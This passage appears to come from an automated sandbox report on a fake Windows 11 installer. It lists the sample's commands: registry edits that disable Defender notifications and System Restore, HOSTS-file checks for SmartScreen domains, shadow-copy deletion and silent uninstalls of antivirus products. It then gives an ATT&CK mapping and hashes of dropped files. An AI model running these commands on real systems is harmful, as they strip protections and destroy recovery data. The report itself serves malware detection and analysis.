    REG Add "HkLm\sOFTWARe\micRoSOft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS" /V "dIsABLEenHancedNotIfICatioNs" /t reG_dWorD /D "1" /F
    3⤵
    - Modifies Windows Defender notification settings
    PID:2044
- - C:\Windows\system32\reg.exe
    reg ADd "HKlm\sOFtwAre\MICRosOfT\winDOWs DEfeNdER SECuRity ceNtER\Virus AnD ThReat PROteCTion" /V "fIlesBlOckedNotIfiCaTIoNDIsablEd" /T rEG_DWorD /D "1" /f
    3⤵
    PID:1192
- - C:\Windows\system32\reg.exe
    rEG adD "HKlm\SoftWARe\mICroSOFT\WindOWs dEFenDER SEcuriTY CeNTeR\VIruS anD thrEAT PROtECtioN" /V "noaCtioNNoTIFiCAtiOnDISAblEd" /t Reg_DwORd /D "1" /f
    3⤵
    PID:1716
- - C:\Windows\system32\reg.exe
    reG ADD "HkLM\SOftWARE\mICrOSofT\WiNDowS dEFeNder sEcuRitY cEnTeR\Virus aNd tHReAt pROTEctION" /v "sUmMaRyNoTIFIcAtioNdiSabLED" /T ReG_DWORd /D "1" /F
    3⤵
    PID:1252
- - C:\Windows\system32\reg.exe
    REG aDd "hkLM\sofTWaRe\PolICIES\MiCRosOft\WINdOws\eXpLoRer" /v "DisableNotiFIcAtiONcEnTeR" /t REg_dWoRd /D "1" /f
    3⤵
    PID:2028
- - C:\Windows\system32\reg.exe
    rEg adD "HKCU\sOFTWARe\MICRoSOft\wiNDowS\cURrEntVeRsioN\PUsHNOtIfiCAtIoNS" /V "toASTENAbLEd" /T Reg_dwOrd /D "0" /F
    3⤵
    PID:520
- - C:\Windows\system32\reg.exe
    REg ADD "HKLM\SoFTwaRE\POlIcies\MIcroSofT\WinDoWS defENDer SeCURIty cEnteR\ViRus aNd THreAT PRoTeCtION" /V uIlOCkdoWN /t rEg_dWORd /d 1 /f
    3⤵
    PID:1912
- - C:\Windows\system32\reg.exe
    rEG ADD "HKlM\SOftWARE\PolicIEs\MICrOSoFt\WInDOWs defEndEr sECuRiTy cenTER\APP aND bROWsEr ProtEcTIoN" /V uILoCKdOwN /t REG_DwOrd /d 1 /F
    3⤵
    PID:884
- - C:\Windows\system32\reg.exe
    rEg AdD "HklM\sOftWaRe\polICiEs\mIcroSOFT\WiNdoWS Nt\sYsTeMreStorE" /v "DIsAbLECOnfIg" /T REg_dWord /d "1" /F
    3⤵
    PID:956
- - C:\Windows\system32\reg.exe
    Reg adD "hkLM\SOftware\POliCIes\MICRoSOFt\wINdows NT\sYstEMrEStORE" /v "dIsABleSR" /T ReG_dWoRD /D "1" /F
    3⤵
    PID:920
- - C:\Windows\system32\reg.exe
    ReG ADd "hKCU\SOFTwAre\mIcRosOft\wiNDoWS\cUrrentVERsioN\POlIcIEs\AtTACHmEntS" /v "SaVEZONEiNfORMAtIoN" /T rEg_dWoRd /d "1" /F
    3⤵
    PID:1364
- - C:\Windows\system32\reg.exe
    Reg ADd "HkLm\sOfTWAre\mIcROsoft\wINdOWS\CUrreNTveRsiOn\pOliCiES\AtTaCHmENtS" /V "saVEzoneInFOrMaTiOn" /T rEg_DWoRD /D "1" /F
    3⤵
    PID:596
- - C:\Windows\system32\reg.exe
    rEG aDd "hKlm\SofTWArE\miCroSoFt\WINdOwS\curRenTVErsIOn\PoLICIEs\ATtACHMeNTs" /v "SCAnWithaNTiviRuS" /t REg_dWOrD /D "1" /F
    3⤵
    PID:1856
- - C:\Windows\system32\find.exe
    find /c /i "checkappexec.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1684
- - C:\Windows\system32\find.exe
    find /c /i "smartscreen-prod.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1060
- - C:\Windows\system32\find.exe
    find /c /i "nav.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:564
- - C:\Windows\system32\find.exe
    find /c /i "nf.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1804
- - C:\Windows\system32\find.exe
    find /c /i "safebrowsing.googleapis.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1600
- - C:\Windows\system32\find.exe
    find /c /i "ars.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1896
- - C:\Windows\system32\find.exe
    find /c /i "apprep.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1500
- - C:\Windows\system32\find.exe
    find /c /i "c.urs.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1420
- - C:\Windows\system32\find.exe
    find /c /i "feedback.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:580
- - C:\Windows\system32\find.exe
    find /c /i "ping.nav.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1952
- - C:\Windows\system32\find.exe
    find /c /i "ping.nf.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:308
- - C:\Windows\system32\find.exe
    find /c /i "t.nav.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:300
- - C:\Windows\system32\find.exe
    find /c /i "t.nf.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:788
- - C:\Windows\system32\find.exe
    find /c /i "t.urs.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:916
- - C:\Windows\system32\find.exe
    find /c /i "unitedstates.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:2008
- - C:\Windows\system32\find.exe
    find /c /i "unitedstates.smartscreen-prod.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:2016
- - C:\Windows\system32\find.exe
    find /c /i "urs.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1616
- - C:\Windows\system32\find.exe
    find /c /i "urs.smartscreen.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1840
- - C:\Windows\system32\find.exe
    find /c /i "slscr.update.microsoft.com" "C:\Windows\system32\DRIVERS\ETC\HOSTS"
    3⤵
    PID:1380
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1784
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic product where name="ESET Security" call uninstall /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1488
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic product where name="AntimalwareEngine" call uninstall /nointeractive
    3⤵
    PID:208
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic product where name="OnlineThreatsEngine" call uninstall /nointeractive
    3⤵
    PID:1456
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic product where name="FirewallEngine" call uninstall /nointeractive
    3⤵
    PID:1928
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic product where name="Emsisoft Anti-Malware" call uninstall /nointeractive
    3⤵
    PID:1216
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "emsisoft anti-malware" /f
    3⤵
    PID:1320
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Program Files\Malwarebytes\Anti-Malware\mbuns.exe" /uninstall /verysilent /f
    3⤵
    PID:812

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:824

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220424112445.log C:\Windows\Logs\CBS\CbsPersist_20220424112445.cab
1⤵
- Drops file in Windows directory
PID:2044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File Deletion

T1107

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

fe81mxov7bx94x47199087.tmp

Path C:\Users\Admin\AppData\Local\Temp\fe81mxov7bx94x47199087.tmp
Size 288KB
SHA256 468af45ef9443f6c7bb0f240fb259290f84739acfb6b8391fdeb57c9d6346de1
MD5 60b1835bfa8dbfc49f18ea4053b62fd0
SHA1 0099fc4d9aee077b5b86a1466271b0676c7b7a58
SHA512 5b710e5ff44402c6a0606695b27667eefe07a6cbbd10fec40d457f135c03dec83350790dd833add6f088f82f336beabd821643b03b4b84501f70bc37dedde49e
SSDEEP 192:LXvKXzkVmvQhyn+ZoQfqlQbGhMHPaVAL23v8T7b:zozkVmvQhyn+ZooT7b
MD5 SHA1 SHA512 SSDEEP

Submit Download

windows11-setup_11_67721.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-6Q7G1.tmp\windows11-setup_11_67721.tmp
Size 3.0MB
SHA256 80938376d38b3d5b815d1c412348b9dd6851fafe2c372ba970c767676bec5eba
MD5 cc0ac6da39057ef0aa6ca5eba5537eae
SHA1 56861f7eac2f747d0812a8b36ac2a7ecfb14081d
SHA512 eabf946b8af5e816ea1ded112568340a6c081b693d4497d2031d8a59f8dca24a3ea0040baa67bb5d24cd1c04671cb80ac77a312490376bba1d2b08d048fe5f09
SSDEEP 49152:JEA9P+bz2cHPcUb6HSb4SOEMkBeH7nQckO6bAGx7jXTVx33387:d92bz2Eb6pd7B6bAGx7T333w
MD5 SHA1 SHA512 SSDEEP

Submit Download

windows11-setup_11_67721.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-8CPOL.tmp\windows11-setup_11_67721.tmp
Size 3.0MB
SHA256 80938376d38b3d5b815d1c412348b9dd6851fafe2c372ba970c767676bec5eba
MD5 cc0ac6da39057ef0aa6ca5eba5537eae
SHA1 56861f7eac2f747d0812a8b36ac2a7ecfb14081d
SHA512 eabf946b8af5e816ea1ded112568340a6c081b693d4497d2031d8a59f8dca24a3ea0040baa67bb5d24cd1c04671cb80ac77a312490376bba1d2b08d048fe5f09
SSDEEP 49152:JEA9P+bz2cHPcUb6HSb4SOEMkBeH7nQckO6bAGx7jXTVx33387:d92bz2Eb6pd7B6bAGx7T333w
MD5 SHA1 SHA512 SSDEEP

Submit Download

windows11-setup_11_67721.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-8CPOL.tmp\windows11-setup_11_67721.tmp
Size 3.0MB
SHA256 80938376d38b3d5b815d1c412348b9dd6851fafe2c372ba970c767676bec5eba
MD5 cc0ac6da39057ef0aa6ca5eba5537eae
SHA1 56861f7eac2f747d0812a8b36ac2a7ecfb14081d
SHA512 eabf946b8af5e816ea1ded112568340a6c081b693d4497d2031d8a59f8dca24a3ea0040baa67bb5d24cd1c04671cb80ac77a312490376bba1d2b08d048fe5f09
SSDEEP 49152:JEA9P+bz2cHPcUb6HSb4SOEMkBeH7nQckO6bAGx7jXTVx33387:d92bz2Eb6pd7B6bAGx7T333w
MD5 SHA1 SHA512 SSDEEP

Submit Download

lg34yu93.cmd

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\lg34yu93.cmd
Size 444B
SHA256 9747a6330738eb662825ed80207b8909f7bdc41a4ef5474a99c5c5641d4da6f5
MD5 5bcd9bded40dd02c1d42fc8f0da041df
SHA1 bacc730c779beb144c36721d3718c6127db980e1
SHA512 8d226f0927b8fb6ed5a94a8193eab9b4689ba964bb4db52f1fbcac17ad32810253e887e7834ae496161b136e7819fcf32ae72e01ea02cbb176b1524b3bb0554d
MD5 SHA1 SHA512

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

slt5hdy83.cmd

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\slt5hdy83.cmd
Size 470B
SHA256 f54b2c340f84aadb06cbcdc022eb2e6ed26957ee371d808035b3e36cf7c4a9e7
MD5 66357e814e4b0244e97245d23ebd3e20
SHA1 683dae3404efd691e2743394baacdc49c667d8f3
SHA512 114b890e6577110c86ce0fea191926fa5a06a9e13f54d9c97b972a8dac30e536c9d73266b9fd6566e2daf4157fab90fb21133177ee6bea5127b6136f229c81c0
MD5 SHA1 SHA512

Submit Download

yb.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\yb.exe
Size 1.0MB
SHA256 fec4558c4e416ad82a32ffa1b96ba6f12f9c9be282f5a2d15dee68855faad93a
MD5 330fb431cfecf543b3dee4c35355042a
SHA1 f8472606ea4035500b1fc83d500b594eeb9b8de5
SHA512 1c85705bb6bc911c6470368c752ef47693975920766ce1199c5e5ea46b90fd0cd9da4d35afe69494df06b92c1e33589485f3984ea298624160923895e89ac632
SSDEEP 24576:9SuxsnUKn3SEA0K+n0IO674pnBcSMx1vm1djVCU6:fxq3nPnZ2lBcSMHvm1djoU6
MD5 SHA1 SHA512 SSDEEP

Submit Download

yb.exe

Path C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\yb.exe
Size 1.0MB
SHA256 fec4558c4e416ad82a32ffa1b96ba6f12f9c9be282f5a2d15dee68855faad93a
MD5 330fb431cfecf543b3dee4c35355042a
SHA1 f8472606ea4035500b1fc83d500b594eeb9b8de5
SHA512 1c85705bb6bc911c6470368c752ef47693975920766ce1199c5e5ea46b90fd0cd9da4d35afe69494df06b92c1e33589485f3984ea298624160923895e89ac632
SSDEEP 24576:9SuxsnUKn3SEA0K+n0IO674pnBcSMx1vm1djVCU6:fxq3nPnZ2lBcSMHvm1djoU6
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows11InstallationAssistant.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows11InstallationAssistant.lnk
Size 1KB
SHA256 7314a9126b688a2fd2f8cb693d319cbfc709dd68a7a2f55ea15760e9dfe1d131
MD5 b000d53f53925fdde9cadb485fd5e7d7
SHA1 98d94542dd394b3fa6cbe09f3c2c77404adf8c4c
SHA512 aa2e0db03d7a907d933834ec698cee2a3e27cb5c780629f66a406a431b426e30f76a691bda156349e267807be7c40da312e540cff582b162089c0710465b8da9
MD5 SHA1 SHA512

Submit Download

Windows11InstaIIationAssistant.sCr

Path C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr
Size 8.4MB
SHA256 b197522d218e972e8fe965032f47ec4e483b698709ac83640f1583feb5a67fb4
MD5 d6afceff3c0e238413ccdaaf74c9bf7a
SHA1 fde2368a32a52efe8de6c86adab0f709630c2246
SHA512 b7522d5274b721ad3d3b773549dd966483dc45c25360d8b081c45b3dad6d7c5127795276031e6324f8c69e7c32524b523bdb52b320f3ef32ab9d1709a5224927
SSDEEP 196608:TJ1G0GtKPwPbSuB8IriosRxzhpo8VUAhUQuZZop192o4ZZbDgYaJ:TJM7lbSuB8IvsPlddQvu72FZbDgYaJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows11InstaIIationAssistant.scr

Path C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
Size 8.4MB
SHA256 b197522d218e972e8fe965032f47ec4e483b698709ac83640f1583feb5a67fb4
MD5 d6afceff3c0e238413ccdaaf74c9bf7a
SHA1 fde2368a32a52efe8de6c86adab0f709630c2246
SHA512 b7522d5274b721ad3d3b773549dd966483dc45c25360d8b081c45b3dad6d7c5127795276031e6324f8c69e7c32524b523bdb52b320f3ef32ab9d1709a5224927
SSDEEP 196608:TJ1G0GtKPwPbSuB8IriosRxzhpo8VUAhUQuZZop192o4ZZbDgYaJ:TJM7lbSuB8IvsPlddQvu72FZbDgYaJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows11InstaIIationAssistant.scr

Path C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
Size 8.4MB
SHA256 b197522d218e972e8fe965032f47ec4e483b698709ac83640f1583feb5a67fb4
MD5 d6afceff3c0e238413ccdaaf74c9bf7a
SHA1 fde2368a32a52efe8de6c86adab0f709630c2246
SHA512 b7522d5274b721ad3d3b773549dd966483dc45c25360d8b081c45b3dad6d7c5127795276031e6324f8c69e7c32524b523bdb52b320f3ef32ab9d1709a5224927
SSDEEP 196608:TJ1G0GtKPwPbSuB8IriosRxzhpo8VUAhUQuZZop192o4ZZbDgYaJ:TJM7lbSuB8IvsPlddQvu72FZbDgYaJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 861B
SHA256 4e6391c2a6b4eb748e3b83906b2cfe743f9645db6f2d44732a12247e62c2963e
MD5 ccaab279e1a808f65f24f8cf9f76ce9d
SHA1 4f03dffdb7468fcd96d701c2a1a1f62f056e3cc9
SHA512 1af8d3ed35eb928bce408aa8ba2aad8eb4dc92717d7deb00ece007ced8381ebed82a27e6ec17bf9e747cce9f51f38e686e9edfd20c5920691f1f1bd15e89e5ca
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 902B
SHA256 eebfe6d36feca8765826753f10403a16620618ffb779eca61d017192e64e26e2
MD5 7b214d6d95ff114c808d1e64c43c7f2d
SHA1 ec8626bc0b1e557e6137691f4eaeb8fa9a99009d
SHA512 0d46da98af73cf44be51b0f4d41ad4d3463db0ea9d815bac660748ba116f12ac2b1937fbb0143f97b46b82c6577dd185e7aa5722e3b1acd08d15b04b5bf217fd
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 943B
SHA256 1454b1c396b27884e34dac0285e1033c9434d3759f1ce93bcc47b8af47a1c246
MD5 5b8ff81655036e5659ee20fada293647
SHA1 eb7731f5333d6acf6c5af4133b9273923af694ff
SHA512 60c9c92464888ff84615deb58b5cef89d8ab85148d33c6d432925c17df51bf0b641313572e31c46a37170946b679c8120a4bd892a5ee6f19be81e63914176c2a
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 988B
SHA256 683cbb0db7672b54e754357cf925c8484b681e86480e198205afc84221055664
MD5 f5ac66d837b6e18751da554ad949dbe6
SHA1 b792440b9de71eafb9504166d0880e552ff12a81
SHA512 025a383dfc911cc4b8e226596b86cf288f226b0c3ec284e4fd30eff6b1a6fc67c605b2055400c1b430d0f8610ebd915f684c277b590e9a91aff7fc64ffe67ce1
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 9b91b86999702f4dc2edce8ed02d62617394226c5b251bbc03626717d409a347
MD5 3310451a1bd57d75969106d29bee6440
SHA1 9f7054a7b9eec78161810cbc6bf01bbc3fbb1c41
SHA512 f3c852704e932795cd42c95942e81049ad1fb1d054ac5df5d387dfb16023df1d56049ab2c915c1ff4810d1ed68c19347c450ebb5ed3fa9e63663467fc332940d
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 81c1757361ba83825090de6d1ddda760dee32d2e775a598d4c6ff08c38edec7b
MD5 3a2ef6c3d7164b331fe3440656e6c0bc
SHA1 853c027a03dcdab38b022fd7edce0b119ca66eaa
SHA512 f185e02904eb6914c5656211ee36074628ef5348c676836ac89fb833c2e00059b48f741a691132dcbc5ede1467d1866d1e75ec209033c0cba59d0ec1b998ea22
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 4534d0c0537ca8dfafa1b9b839d86d0687bb3b7febde20ce401bef0f1364571d
MD5 4cd3f40e145b1f20ebfa32b20f131bd3
SHA1 a3ce5de4c0f766952b6cfaf51409b683eab66d14
SHA512 8247247ef5005bd02850eb1ad4c75b21786309f4456a2874d01f70e50273dd8404db7b9246db0e414115a23a7d38cfd845856ee1d5ce80ef816db86e68d5a143
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
